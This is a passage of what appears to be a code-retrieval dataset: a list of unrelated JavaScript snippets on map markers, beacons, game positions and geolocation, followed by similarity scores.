getNewdidFromPos(position) {\\n\\t//flag ( \\\"getNewdidFromPos():: Started! Called for position: \\\" + position );\\n\\t//a=GM_getValue(myacc())\\n\\tvar allVillagePos = GM_getValue(myacc() + \\\"_allVillagePos2\\\").split(\\\",\\\");\\n\\t//flag ( \\\"getNewdidFromPos: allVillagePos=\\\"+allVillagePos+\\\";\\\");\\n\\tfor (var i = 0; i < allVillagePos.length; i++) {\\n\\t\\tvar tt = allVillagePos[i].split(\\\":\\\");\\n\\t\\tif ( tt[1] == position) {\\n\\t\\t\\treturn tt[0];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n\\treturn null;\\n}\",\n \"function findBeacons() {\\n\\tvar room = \\\"\\\";\\n\\t/*[] values;\\n\\tfor(var i=0;i>10;i++) {*/\\n\\t\\tBeacon.rangeForBeacons(\\\"B9407F30-F5F8-466E-AFF9-25556B57FE6D\\\")\\n\\t\\t.then(function(beacons_found) {\\n\\t\\t // $(\\\"#beacon-list\\\").empty();\\n\\t\\t var maxRSSI = 100;\\n\\t\\t for(beaconIndex in beacons_found) {\\n\\t\\t var beacon = beacons_found[beaconIndex]; \\n\\t\\t /* var beaconDiv = $(\\\"\\\").html(\\\"Major: \\\" + beacon.major + \\n\\t\\t \\\"; Minor: \\\" + beacon.minor + \\n\\t\\t \\\"; RSSI: \\\" + (beacon.rssi*-1));\\n\\t\\t\\n\\t\\t $(\\\"#beacon-list\\\").append(beaconDiv);*/\\n\\t\\t if(beacon.rssi*-1 < maxRSSI) {\\n\\t\\t \\t room = getRoomName(beacon.minor);\\n\\t\\t \\t maxRSSI = beacon.rssi*-1;\\n\\t\\t }\\n\\t\\t }\\n\\t\\t $(\\\"#myLocation\\\").text(/*\\\"Ole Johan Dahls Hus\\\" + */room);\\n\\t\\t if(room == \\\"\\\") {\\n\\t\\t\\t setOffline();\\n\\t\\t }\\n\\t\\t newLocation(room);\\n\\t\\t})\\n\\t\\t.fail(function() {\\n\\t\\t alert(\\\"failed serching for beacons!\\\");\\n\\t\\t setOffline();\\n\\t\\t});\\n\\t//}\\n}\",\n \"function searchObject(type){\\n\\tvar target;\\n console.log(\\\"123\\\");\\n\\tif(type==\\\"beacon\\\"){\\n\\t\\t target=beaconMap[document.getElementById('beaconSearch').value];\\n\\t}else{\\n\\t\\t target=reporterMap[document.getElementById('reporterSearch').value];\\n console.log(target);\\n\\t}\\n\\t toggleBounce(target.marker);\\n map.panTo(target.getPosi(),3000);\\n if(map.getZoom()<17){\\n\\t map.setZoom(17);\\n\\t}\\n var date = new Date(target.time*1000);\\n\\t\\n document.getElementById(\\\"beaconInfo\\\").innerHTML=\\\"Loggy: \\\"+target.mac+\\\"
\\\"+\\\"Latitude: \\\"+target.lat+\\\"
\\\"+\\\"Longitude: \\\"+target.lng+\\\"
Last Update: \\\"+date.getFullYear()+\\\"-\\\"+(date.getMonth()+1)+\\\"-\\\"+date.getDate()+\\\" \\\"+date.getHours()+\\\":\\\"+date.getMinutes()+\\\":\\\"+date.getSeconds()+\\\"
${playerName}'s last 3 matches`);\\n\\tgetRecentMatches(playerId, getMatchList);\\n}\",\n \"function positionOf(symb, someBoard, player) {\\n\\n\\t//print_board(someBoard);\\n\\n\\tvar tempSq = {};\\n\\n\\tfor ( var a = 0; a <= 11; a++) {\\n\\t\\tfor (var b = 0; b <= 11; b++) {\\n\\n\\t\\t\\tif (someBoard[a][b].symbol.includes(symb) && player === someBoard[a][b].player){\\n\\n\\t\\t\\t\\ttempSq.row = a;\\n\\t\\t\\t\\ttempSq.col = b;\\n\\t\\t\\t\\treturn tempSq;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"function findMarkerIndex(name) {\\n //name 'SFO - San Fr...'\\n return markers.findIndex(function (m) {\\n return m.title === name;\\n });\\n}\",\n \"createPlayer() {\\n let startWithBob = true;\\n this.map.findObject('Player', (obj) => {\\n if (obj.type === 'StartPosition') {\\n if (obj.properties && obj.properties.hasOwnProperty('Start')) startWithBob = false;\\n if (obj.name === 'Bob') {\\n this.bob = new Bob(this, obj.x, obj.y);\\n this.bob.depth = 100;\\n this.game.Bob = this.bob;\\n }\\n if (obj.name === 'Flit') {\\n this.flit = new Flit(this, obj.x, obj.y);\\n this.flit.depth = 100;\\n this.game.Flit = this.flit;\\n }\\n }\\n });\\n\\n this.ActivePlayer = startWithBob ? this.game.Bob : this.game.Flit;\\n this.cameras.main.startFollow(this.ActivePlayer);\\n }\",\n \"getNewPosition() {\\r\\n this.newPosition = this.positionRandom();\\r\\n // Cree une fonction qui test avec marge les nouvelle position des bombs\\r\\n // Transformer et juste tester si une element avec une position similaire est deja sur la map \\r\\n return this.newPosition;\\r\\n }\",\n \"function prepEventMarker(){\\n\\tvar eventDetails = getEventData();\\n\\tvar location = eventDetails[0];\\n\\tvar title = eventDetails[1];\\n\\n\\t//We need to be careful with the location. When we store it, the location name usually comes before the address\\n\\t//ie Vancouver Pizza: 225 Main St.\\n\\tvar locationSplit = location.split(':'); //This assumes a colon isn't used in an address (which I belive is safe to assume)\\n\\tif(locationSplit.length>1){ //The name was in there\\n\\t\\tlocation = locationSplit[1]; //Set the location to just the address\\n\\t}\\n\\n\\tconsole.log('Initing with: Title: ' + title + \\\" Loc: \\\" + location);\\n\\tinitEventData(title, location);\\n}\",\n \"function winnerName() {\\n if(winnerAddress === myAddress) {\\n return \\\"Me\\\";\\n }\\n if(winnerAddress === oppAddress) {\\n return \\\"Opponent\\\";\\n }\\n }\",\n \"function place(name, address, road){\\n this.name = name;\\n this.address = address;\\n this.road = road;\\n console.log(`${this.name} ${this.address} ${this.road}`);\\n if (this.name == 'ctg'){\\n this.name = 'Chittagong';\\n }\\n console.log(`${this.name} ${this.address} ${this.road}`);\\n}\",\n \"function reportPosition() {\\n var p = distanceWidget.get('position'),\\n d = distanceWidget.get('distance'),\\n name = $('input[name=name]');\\n \\n socket.send(JSON.stringify({\\n 'action': 'update position',\\n 'lat': p.lat(), \\n 'lng': p.lng(), \\n 'distance': d, \\n 'name': name.val() \\n }));\\n}\",\n \"function mainMarker(x,y,name,i) {\\n \\n \\n var marker = new google.maps.Marker({\\n position: {lat: x, lng: y},\\n map: map,\\n label:(++i).toString(), \\n \\n title: name\\n });\\n markerArray.push(marker);\\n }\",\n \"function playerBattedInMatchAtPos(playerId, matchNo, battingPos)\\n{\\n if (playerId == -1)\\n return true;\\n\\n if (MATCHES_ARRAY[matchNo]['batsmanIDarray'][battingPos - 1] == playerId)\\n return true;\\n else\\n return false;\\n}\",\n \"function emitBeaconUpdate(id) {\\n var ship = ships.shipGet(id)\\n var out = {};\\n\\n out[id] = ship.spawnPoint;\\n\\n io.sockets.emit('shipbeaconstat', out);\\n}\",\n \"function addSugar(name, x, y) {\\n\\tlocs.push([x, y]);\\n\\tnames.push(name);\\n}\",\n \"function getSpawnPosition(source) {\\n var positions = getSamplePositions(source.room, source.pos, 5),\\n closest;\\n positions = _.filter(positions, (position) => (Game.map.getTerrainAt(position) == 'plain'));\\n closest = source.pos.findClosestByPath(positions);\\n return closest;\\n}\",\n \"function createBeacon() {\\n\\n // throws an error if the parameters are not valid\\n var beaconRegion = new cordova.plugins.locationManager.BeaconRegion(identifier, uuid, major, minor);\\n\\n return beaconRegion; \\n}\",\n \"function searchGameRoom(gamerooms,name){\\n\\tfor (var i = 0 ; i < gamerooms.length ; i++ ){\\n\\t\\tif(gamerooms[i].name === name){\\n\\t\\t\\treturn i;\\n\\t\\t}\\n\\t}\\n\\treturn -1;\\n}\",\n \"function findPlate(plate_name) {\\n for(i = 0; i < ordered_plates.length; i++) {\\n if (ordered_plates[i].name.localeCompare(plate_name) == 0) {\\n return ordered_plates[i];\\n }\\n }\\n }\",\n \"@wire(getRecord, { recordId: '$recordId', fields })\\n loadBear({ error, data}){\\n if(error){\\n //Handle error\\n } else if (data){\\n //Get bear Data\\n this.name = data.fields.Name.value;\\n const Latitude = data.fields.Location__Latitude__s.value;\\n const Longitude = data.fields.Location__Longitude__s.value;\\n //Transformar bear data en map markers\\n this.mapMarkers = [{\\n location: {Latitude, Longitude},\\n title: this.name,\\n description: 'Coords: ' + {Latitude} + ', ' + {Longitude}\\n }];\\n }\\n }\",\n \"function getSummonerName(){\\n\\n}\",\n \"findClosest(mapItem) {\\n let closestNames = [];\\n\\n this.state.mapTextItems.forEach(mapTextItem => {\\n if (mapItem.regionId === mapTextItem.regionId) {\\n let xdif = Math.abs(mapItem.x - mapTextItem.x);\\n let ydif = Math.abs(mapItem.y - mapTextItem.y);\\n let distance = Math.sqrt(Math.pow(xdif, 2) + Math.pow(ydif, 2));\\n closestNames.push({ text: mapTextItem.text, distance: distance });\\n }\\n });\\n\\n closestNames.sort(this.compare);\\n return closestNames[0].text;\\n }\",\n \"if(snakes[1].loc.dist(food.loc) === 0){\\n food.pickLoc();\\n snakes[1].addSegment();\\n\\n}\",\n \"function findVertex(name) {\\n\\t\\tvar objects = alasql.databases[alasql.useid].objects;\\n\\t\\tfor(var k in objects) {\\n\\t\\t\\tif(objects[k].name === name) {\\n\\t\\t\\t\\treturn objects[k];\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn undefined;\\n\\t}\",\n \"map_attribute_name_to_buffer_name( name ) // The shader will pull single entries out of the vertex arrays, by their data fields'\\n { \\n return { object_space_pos: \\\"positions\\\" }[ name ]; // Use a simple lookup table.\\n }\",\n \"function animatePoint(name) {\\n for (let item in points){\\n if (points[item].title == name) {\\n points[item].setAnimation(google.maps.Animation.BOUNCE);\\n showForsquareInfo(\\n points[item].getPosition().lat(),\\n points[item].getPosition().lng(),\\n points[item].getTitle()\\n );\\n //Makes the marker bounce only once\\n setTimeout(function(){ points[item].setAnimation(null); }, 700);\\n }\\n }\\n}\",\n \"function place_player()\\n{\\n\\tvar col;\\n\\tvar row;\\n\\t\\n\\tswitch(player_number)\\n\\t{\\n\\t\\tcase 0:\\n\\t\\t\\tif(is_two_player_game)\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 27;\\n\\t\\t\\t\\trow = 20;\\n\\t\\t\\t}\\n\\t\\t\\telse\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 27;\\n\\t\\t\\t\\trow = 19;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t\\tbreak;\\n\\t\\tcase 1:\\n\\t\\t\\tif(is_two_player_game)\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 29;\\n\\t\\t\\t\\trow = 20;\\n\\t\\t\\t}\\n\\t\\t\\telse\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 29;\\n\\t\\t\\t\\trow = 21;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t\\tbreak;\\n\\t\\tcase 2:\\n\\t\\t\\tcol = 29;\\n\\t\\t\\trow = 19;\\n\\t\\t\\tbreak;\\n\\t\\tcase 3:\\n\\t\\t\\tcol = 27;\\n\\t\\t\\trow = 21;\\n\\t\\t\\tbreak;\\n\\t}\\n\\t\\n\\tvar player_text = Crafty.e(\\\"2D, DOM, Text\\\")\\n\\t\\t.attr({x: col * 16, y: row * 16 - 15, w: 75})\\n\\t\\t.textColor('#FFFFFF')\\n\\t\\t.text(list_of_users[player_number]);\\n\\t\\t\\n\\tplayer = Crafty.e('PlayerCharacter').at(col, row).attach(player_text);\\n}\",\n \"function itemByName (name) {\\n return bot.inventory.items().filter(item => item.name === name)[0]\\n}\",\n \"function findMarker(buffer, position) {\\n var index;\\n for (index = position; index < buffer.length; index++) {\\n if ((buffer[index] == marker1) && (buffer[index + 1] == marker2))\\n return index;\\n }\\n return -1;\\n}\",\n \"who(currentPlayer, channel){\\n let map = this.maps[currentPlayer.position]\\n let nearbyPlayers = new Array()\\n this.players.forEach(player => {\\n if(player !== currentPlayer && player.position === currentPlayer.position){\\n nearbyPlayers.push(player)\\n }\\n })\\n return nearbyPlayers\\n }\",\n \"function addmarkerforpeaks() {\\n for (var i = 0; i < snowCaps.peaks.length; i++) {\\n // Get the position from the location array.\\n var position = snowCaps.peaks[i].position;\\n var title = snowCaps.peaks[i].name;\\n //console.log(title,position);\\n // Create a marker per location, and put into markers array.\\n var marker = new google.maps.Marker({\\n position: position,\\n title: title,\\n map: map,\\n icon: 'https://www.distancebetween.us/assets/img/apple-icon-60x60.png',\\n animation: google.maps.Animation.DROP,\\n });\\n // Push the marker to our array of markers.\\n markers.push(marker);\\n }\\n}\",\n \"function getPosFinder(pos){\\n var posFinder = balloonpositionsarray[0].find(function(element) {\\n return element == pos;\\n });\\n\\n return posFinder;\\n }\",\n \"function locationName () {\\n place.className = 'current-location';\\n document.getElementsByTagName('body')[0].appendChild(place);\\n // place.innerHTML = loc.address_components[1].long_name + ', ' + loc.address_components[2].long_name;\\n // check for errors and using previous manual location\\n if (usingPrevious) {\\n changeLink.innerText = 'change';\\n changeLink.href = '#';\\n changeLink.className = 'last-known';\\n changeLink.addEventListener('click', function (e) {\\n e.preventDefault();\\n Tab.changeLocation();\\n });\\n place.innerHTML = loc.formatted_address +\\n 'Using last known location ';\\n place.appendChild(changeLink);\\n // console.log(changeLink)\\n // TODO: add change location here\\n } else {\\n place.innerHTML = loc.formatted_address;\\n }\\n }\",\n \"function collectPlayer(name) {\\n if (name === game.players[game.turn].name) {\\n setDrawer(game);\\n } \\n else {\\n setGuesser(name);\\n }\\n \\n }\",\n \"born(x, y) {\\n let l = createVector(x, y);\\n let dna = new DNA();\\n let name = this.makeid(8);\\n console.log(name);\\n this.creatures.push(new Creature(l, dna, name));\\n }\",\n \"try_to_match_local(data_received){\\n\\t\\tlet data = {'type':'try_to_match', 'id': this.guid, 'latitude': this.latitude, 'longitude': this.longitude}\\n\\t\\tsend_msg(data)\\n\\t}\",\n \"function CurrentLocation() {\\n Marker1=new google.maps.LatLng(clat, clng); addMarker(Marker1, \\\"Current Location\\\");\\n }\",\n \"function getKey_(position) \\n{\\n return \\\"key-\\\"+ OsmMaps.position.coords.latitude.toFixed(4) + \\\"-\\\" + OsmMaps.position.coords.longitude.toFixed(4);\\n}\",\n \"function markerPosition(position)\\n{\\n\\tvar id = $('#'+position);\\n\\tif(turno)\\n\\t{\\n\\t\\tif(isFull(position))\\n\\t\\t{\\n\\t\\t\\tboard[position]=llenoA;\\n\\t\\t\\tnumJugadas1++;\\n\\t\\t\\tid.find('i').remove();\\n\\t\\t\\tid.append('');\\n\\t\\t\\t$('#mov1').text(numJugadas1);\\n\\t\\t\\tturno=false;\\n\\t\\t\\tif(isChampion(llenoA))\\n\\t\\t\\t{\\n\\t\\t\\t\\tlocalStorage.setItem('ganador',$(\\\"#jugador1\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('perdedor',$(\\\"#jugador2\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('numJugadas', numJugadas1);\\n\\n\\t \\t\\t\\tswal({\\n \\t\\t\\t\\ttitle: \\\"¡Felicidades \\\"+$(\\\"#jugador1\\\").val()+\\\" Ganaste!\\\",\\n \\t\\t\\t\\timageUrl: \\\"img/goods.png\\\"\\n \\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\talert(\\\"Esta posicion ya esta llena\\\");\\n\\t\\t}\\n\\t}\\n\\telse\\n\\t{\\n\\t\\tif(isFull(position))\\n\\t\\t{\\n\\t\\t\\tboard[position]=llenoB;\\n\\t\\t\\tnumJugadas2++;\\n\\t\\t\\tid.find('i').remove();\\n\\t\\t\\tid.append('');\\n\\t\\t\\t$('#mov2').text(numJugadas2);\\n\\t\\t\\tturno=true;\\n\\t\\t\\tif(isChampion(llenoB))\\n\\t\\t\\t{\\n\\t\\t\\t\\tlocalStorage.setItem('ganador',$(\\\"#jugador2\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('perdedor',$(\\\"#jugador1\\\").val());\\n\\n\\t\\t\\t\\tlocalStorage.setItem('numJugadas',numJugadas2);\\n\\t\\t\\t\\tswal({\\n \\t\\t\\t\\ttitle: \\\"¡Felicidades \\\"+$(\\\"#jugador2\\\").val()+\\\" Ganaste!\\\",\\n \\t\\t\\t\\timageUrl: \\\"img/goods.png\\\"\\n \\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\talert(\\\"Esta posicion ya esta llena\\\");\\n\\t\\t}\\n\\n\\t}\\n}\",\n \"function insertName1(){\\n let playerSpan1 = $(`.Player1`)\\n let playerInput1 = $(`input.button1`)\\n \\n playerInput1.on(`input`,function(){\\n gameState.playerNames[0] = ($(this).val())\\n playerSpan1.text(gameState.playerNames[0])\\n return playerSpan1\\n })\\n}\",\n \"function Start () {\\n\\tUpperLaser = GameObject.Find(\\\"MapScript\\\");\\n\\t//LowerLaser = GameObject.Find(\\\"MapScript02\\\");\\n\\tFlameThrower = GameObject.Find(\\\"FlameThrower\\\");\\n\\tBeam = GameObject.Find(\\\"MapScriptB\\\");\\n\\tTrapSpawn = GameObject.Find(\\\"TrapSpawn\\\");\\n\\t//Saw = GameObject.Find(\\\"ChainSaw\\\");\\n}\",\n \"openInfoWindow(marker, longName) {\\n this.closeInfoWindow();\\n this.state.infowindow.open(this.state.map, marker);\\n marker.setAnimation(window.google.maps.Animation.BOUNCE);\\n this.setState({\\n 'prevmarker': marker\\n });\\n this.state.infowindow.setContent('Loading Data...');\\n this.state.map.setCenter(marker.getPosition());\\n this.state.map.panBy(0, -150);\\n if(longName.includes(\\\"Eric\\\"))\\n {\\n this.getOurBF4MarkerInfo(marker, longName, 'Diabeeeeeeeeetus');\\n }\\n if (longName.includes(\\\"Violet\\\"))\\n {\\n this.getOurBF4MarkerInfo(marker, longName, 'djbobbysocks');\\n }\\n else{\\n this.getMarkerInfo(marker, longName);\\n }\\n }\",\n \"function dropMarker(a, b, courtname){\\n\\tvar lat = a;\\n\\tvar lon = b;\\n\\tmyLatlng = new google.maps.LatLng(lat, lon);\\n\\tvar marker = new google.maps.Marker({\\n\\t\\tposition: myLatlng,\\n\\t\\tmap: map,\\n\\t\\ttitle: courtname\\n\\t});\\n\\tmarker.setMap(map);\\n}\",\n \"function geocodeCords(positionObject) {\\n var geocoder = new google.maps.Geocoder;\\n posLat = positionObject.lat;\\n posLng = positionObject.lng;\\n cordsPos = posLat + \\\", \\\" + posLng;\\n // cordsPos = positionObject;\\n geocoder.geocode({'location': positionObject}, function (results, status) {\\n if (status === 'OK') {\\n if (results[1]) {\\n namePos = (results[1].formatted_address);\\n locationInput.value = namePos;\\n addMarker(positionObject);\\n } else {\\n window.alert('No results found');\\n }\\n } else {\\n window.alert('Geocoder failed due to: ' + status);\\n }\\n });\\n }\",\n \"function zControlBattleMapFollowGamer(position)\\n{\\n zObjectBattleMapLatLng[\\\"gamrLat\\\"] = position.coords.latitude;\\n zObjectBattleMapLatLng[\\\"gamrLng\\\"] = position.coords.longitude;\\n \\n document.getElementById(\\\"map-info-crnt\\\").innerHTML = \\\"CRNT_LAT :{\\\" + zObjectBattleMapLatLng[\\\"crntLat\\\"] + \\\"}:CRNT_LNG :{\\\" + zObjectBattleMapLatLng[\\\"crntLng\\\"] + \\\"}:\\\";\\n document.getElementById(\\\"map-info-gamr\\\").innerHTML = \\\"GAMR_LAT:{\\\" + zObjectBattleMapLatLng[\\\"gamrLat\\\"] + \\\"}:GAMR_LNG:{\\\" + zObjectBattleMapLatLng[\\\"gamrLng\\\"] + \\\"}:\\\";\\n var date = new Date();\\n document.getElementById(\\\"map-info-date\\\").innerHTML = \\\"DATE_TIME:{\\\" + date.getTime() + \\\"}:\\\";\\n \\n if(zObjectBattleMapLatLng[\\\"crntLat\\\"] != zObjectBattleMapLatLng[\\\"gamrLat\\\"]\\n || zObjectBattleMapLatLng[\\\"crntLng\\\"] != zObjectBattleMapLatLng[\\\"gamrLng\\\"])\\n {\\n zObjectBattleMapGamer.setMap(null);\\n \\n var zObjectBattleMapCenterLatLng = new google.maps.LatLng(zObjectBattleMapLatLng[\\\"gamrLat\\\"], zObjectBattleMapLatLng[\\\"gamrLng\\\"]);\\n zObjectBattleMap.setCenter(zObjectBattleMapCenterLatLng);\\n \\n zObjectBattleMapGamer = new google.maps.Marker(\\n {\\n position: zObjectBattleMapCenterLatLng,\\n map: zObjectBattleMap,\\n title: 'Hello World!'\\n });\\n \\n zObjectBattleMapLatLng[\\\"crntLat\\\"] = zObjectBattleMapLatLng[\\\"gamrLat\\\"];\\n zObjectBattleMapLatLng[\\\"crntLng\\\"] = zObjectBattleMapLatLng[\\\"gamrLng\\\"];\\n }\\n \\n zControlHazardDistancetoGamer();\\n \\n zControlGamerMapStatus({\\n\\t code: 0, \\n\\t message: \\\"Good Map Status\\\",\\n \\ttimeofcoords: position.timestamp,\\n \\tmethod: \\\"zControlBattleMapFollowGamer\\\"\\n\\t});\\n}\",\n \"function updateName1OnDOM() {\\n db.ref('Names/player1').once('value', function (snapshot) {\\n name = snapshot.val();\\n if (name !== null) {\\n var a = $('').html(name).addClass('center-block');\\n $('.player1-name').empty().append(a);\\n }\\n });\\n }\",\n \"function quickBooking(){\\n var closest_restaurant;\\n\\n // Try HTML5 geolocation.\\n if (navigator.geolocation) {\\n navigator.geolocation.getCurrentPosition(function(position) {\\n user_position = {\\n lat: position.coords.latitude,\\n lng: position.coords.longitude\\n };\\n }, \\n function() {\\n handleLocationError(true, infoWindow, map.getCenter());\\n });\\n } else {\\n\\n // Browser doesn't support Geolocation\\n handleLocationError(false, infoWindow, map.getCenter());\\n }\\n\\n // looks up restaurant coordinates in database and puts them in coordinateLookups callback variable.\\n coordinateLookup(function(coordinateLookups){\\n\\n // create object containing users coords for comparison\\n var origin = new google.maps.LatLng(user_position.lat,user_position.lng);\\n\\n // creates marker for each address in list of restaurant coordinates(coordinateLookups)\\n // coordinateLookups also contains restaurant name\\n coordinateLookups.forEach(function(lookup,element){\\n\\n // create object containing restaurantscoordinates for comparison\\n var restaurant_location = new google.maps.LatLng(lookup.Longitude, lookup.Latitude);\\n\\n // if closest rstaurant to unser update closestRestaurant\\n if (closestRestaurant(restaurant_location, origin)) {\\n\\n // updates the vueInstance variable of closestRestaurant\\n vueInstance.closestRestaurant = lookup.Name;\\n }\\n }); \\n\\t\\t \\n\\t // add booking to database (fuct. from entiresite.js)\\n\\t makeBooking('Quick');\\n });\\n }\",\n \"spawnPlayer() {\\n return this._getLocationInArea('player_spawn')\\n }\",\n \"function bmap(name,latt,long){\\r\\n if ((typeof latt==='undefined') || (typeof long==='undefined')) {return name;}\\r\\n return my_href(\\\"http://api.map.baidu.com/marker?location=\\\"+latt.toString()+\\\"%2C\\\"+long.toString()+\\\"&output=html&coord_type=gcj02&title=\\\"+name,name,\\\"bmap\\\");\\r\\n }\",\n \"function placeBid(string name, uint bid) payable {\\n\\n if (now-createdAt < duration){\\n\\n if (bid => highBidder){ // Consider the case when there is no bid ???\\n highBidder = msg.sender; // ??\\n // push bidder where bidder[i].bidder (address)\\n bidders.push(msg.sender);\\n HighBidChanged(msg.sender, name, bid);\\n // biddersMapping[msg.sender].name = name;\\n // biddersMapping[msg.sender].bidder = msg.sender; // address\\n // biddersMapping[msg.sender].bid = bid;\\n // biddersMapping[msg.sender].claimedEthers = false; // at the end of the bidding\\n }\\n } else {\\n BidFailed (msg.value, name, bid )\\n throw;\\n }\\n\\n }\",\n \"function getAsteroidTarget(spawnLocation) {\\n var closest = [0,0,0];\\n var dist = 100;\\n var temp = 0;\\n for (t in station_centers) {\\n temp = vec3.length(vec3.subtract(vec3.create(), vec3.fromValues(station_centers[t][0], station_centers[t][1],\\n station_centers[t][2]), vec3.fromValues(spawnLocation[0], spawnLocation[1], spawnLocation[2])));\\n if (temp < dist) {\\n dist = temp;\\n closest = station_centers[t];\\n }\\n }\\n return closest;\\n}\",\n \"get boatName() { \\n return getFieldValue(this.wiredRecord.data, BOAT_NAME_FIELD);\\n }\",\n \"function makeMarker(position, icon, name) {\\n new google.maps.Marker({\\n position: position,\\n map: gmap,\\n icon: icon,\\n title: name\\n });\\n}\",\n \"function findOrigin(element) {\\n if (element === startStation){\\n return element\\n }\\n}\",\n \"getAddressField(telegram) {\\n let values = telegram.getValues();\\n\\n return values.has('BLOCK1_A') ?\\n values.get('BLOCK1_A') : null;\\n }\",\n \"function getPosition(letra){\\n let position = abd.indexOf(letra);\\n return position;\\n}\",\n \"function findForChar(val)\\n{\\n\\n \\n listTitle=[];\\n listCoord=[];\\n let flag = false;\\n for(let x=0; x-1)\\n {\\n listTitle[x]=locationTitle[x]; \\n listCoord[x]=locationCoord[x];\\n flag=true; \\n }\\n }\\n \\n}\",\n \"function getMockup(e, positionInfo) {\\n return { \\n index: e.index,\\n name: e.label, \\n x: rounder(e.x),\\n y: rounder(e.y),\\n color: e.color,\\n shape: e.shape,\\n size: rounder(e.size),\\n realSize: rounder(e.realSize),\\n facing: rounder(e.facing),\\n layer: e.layer,\\n statnames: e.settings.skillNames,\\n position: positionInfo,\\n guns: e.guns.map(function(gun) {\\n return {\\n offset: rounder(gun.offset),\\n direction: rounder(gun.direction),\\n length: rounder(gun.length),\\n width: rounder(gun.width),\\n aspect: rounder(gun.aspect),\\n angle: rounder(gun.angle),\\n };\\n }),\\n turrets: e.turrets.map(function(t) { \\n let out = getMockup(t, {});\\n out.sizeFactor = rounder(t.bound.size);\\n out.offset = rounder(t.bound.offset);\\n out.direction = rounder(t.bound.direction);\\n out.layer = rounder(t.bound.layer);\\n out.angle = rounder(t.bound.angle);\\n return out;\\n }),\\n };\\n }\",\n \"findTypedLetterByPosition(position) {\\n let result = this.typedLetters.find(typedLetter => {\\n return typedLetter.position.x === position.x && typedLetter.position.y === position.y;\\n });\\n\\n if (typeof result === 'undefined') {\\n result = null;\\n }\\n\\n return result;\\n }\",\n \"function insertMarkerToDB(location, name) {\\n $.ajax({\\n type: 'GET',\\n url: '/MapPoint/create.json',\\n data: {\\n latitude: location.lat,\\n longitude: location.lng,\\n name: name\\n },\\n success: function(data) {\\n //console.log('RESULT: ' + JSON.stringify(data));\\n }\\n });\\n }\",\n \"function getParticipantObjByName(match, name) {\\n var participants = match['participants'];\\n var pids = match['participantIdentities'];\\n var pid = -1;\\n for(i = 0; i < pids.length; i++) {\\n if(pids[i]['player']['summonerName'] == name) {\\n pid = pids[i]['participantId'];\\n break;\\n }\\n }\\n return participants[pid-1];\\n}\",\n \"function createMarker(r){\\n self.showDiv(true);\\n var position, lat, lng;\\n lat = parseFloat(r.location.latitude);\\n lng = parseFloat(r.location.longitude);\\n position = new google.maps.LatLng(lat, lng);\\n /*if(placeBounds.contains(position))\\n {*/\\n var marker = new google.maps.Marker({\\n map: map,\\n position: position,\\n title: r.name,\\n animation: google.maps.Animation.DROP,\\n });\\n bounds.extend(marker.getPosition());\\n\\n\\n var contentString = '' +\\n '
' +\\n '' + r.name + '
' +\\n '' + r.location.address + '
' +\\n 'Average cost for two: $' +\\n r.average_cost_for_two + '
' +\\n '' +\\n '' + 'Menu Url';\\n var address = r.location.address;\\n\\n var newMarker = {marker:marker, content:contentString};\\n\\n // Create an onclick event to open an infowindow at each marker.\\n marker.addListener('click', function() {\\n hideAnimation();\\n marker.setAnimation(google.maps.Animation.BOUNCE);\\n populateInfoWindow(this, largeInfowindow, contentString);\\n });\\n return newMarker;\\n //}\\n } // end of createMarker\",\n \"function Player1Name(value)//Sets the name of player 1 and adds to the list of potential winners if not already there.\\n{\\n model.player1.name=value;\\n var index = model.winners.find(winners => winners.name == value)\\n if(!index){model.winners.push({name:`${model.player1.name}`,wins:0})}\\n}\",\n \"function onLocationFound(location){\\n\\n\\t// Update the model with the coordinate pair for use later.\\n\\tapp.position = location;\\n\\n\\t// If successful, find all nearby brunch locations at those coordinates.\\n findNearbyBrunchLocations(location.coords);\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.55945784","0.55155414","0.5372061","0.53548574","0.52936345","0.5292482","0.52400655","0.52102","0.5159438","0.51353896","0.51154304","0.5113312","0.51111436","0.5110201","0.5109417","0.5098488","0.50911343","0.50832295","0.5079928","0.5076207","0.5045602","0.5038288","0.5030733","0.50182706","0.5015086","0.50018305","0.4996816","0.49821067","0.49794316","0.49780127","0.49687204","0.49633983","0.49513766","0.49499455","0.49455753","0.49244434","0.49115518","0.48922718","0.48646355","0.48593962","0.48577052","0.4855432","0.4838728","0.4838031","0.4825128","0.48249486","0.48244342","0.48162448","0.48043308","0.48003414","0.47997946","0.4796625","0.47905025","0.47849536","0.47799447","0.47776455","0.4755562","0.47546393","0.47448108","0.4740631","0.4735003","0.47313973","0.47295067","0.47244897","0.47141165","0.47077686","0.47056884","0.47052172","0.47045252","0.47029313","0.47026756","0.46973765","0.46937048","0.46884277","0.4683101","0.46794215","0.46791098","0.46743","0.46722734","0.4670856","0.46664122","0.46619037","0.46610492","0.46557167","0.46547738","0.46544635","0.46508488","0.46502376","0.46471956","0.46467066","0.464512","0.4644591","0.46438715","0.46402332","0.46384144","0.46374774","0.46294704","0.4627889","0.46241114","0.46236378"],"string":"[\n \"0.55945784\",\n \"0.55155414\",\n \"0.5372061\",\n \"0.53548574\",\n \"0.52936345\",\n \"0.5292482\",\n \"0.52400655\",\n \"0.52102\",\n \"0.5159438\",\n \"0.51353896\",\n \"0.51154304\",\n \"0.5113312\",\n \"0.51111436\",\n \"0.5110201\",\n \"0.5109417\",\n \"0.5098488\",\n \"0.50911343\",\n \"0.50832295\",\n \"0.5079928\",\n \"0.5076207\",\n \"0.5045602\",\n \"0.5038288\",\n \"0.5030733\",\n \"0.50182706\",\n \"0.5015086\",\n \"0.50018305\",\n \"0.4996816\",\n \"0.49821067\",\n \"0.49794316\",\n \"0.49780127\",\n \"0.49687204\",\n 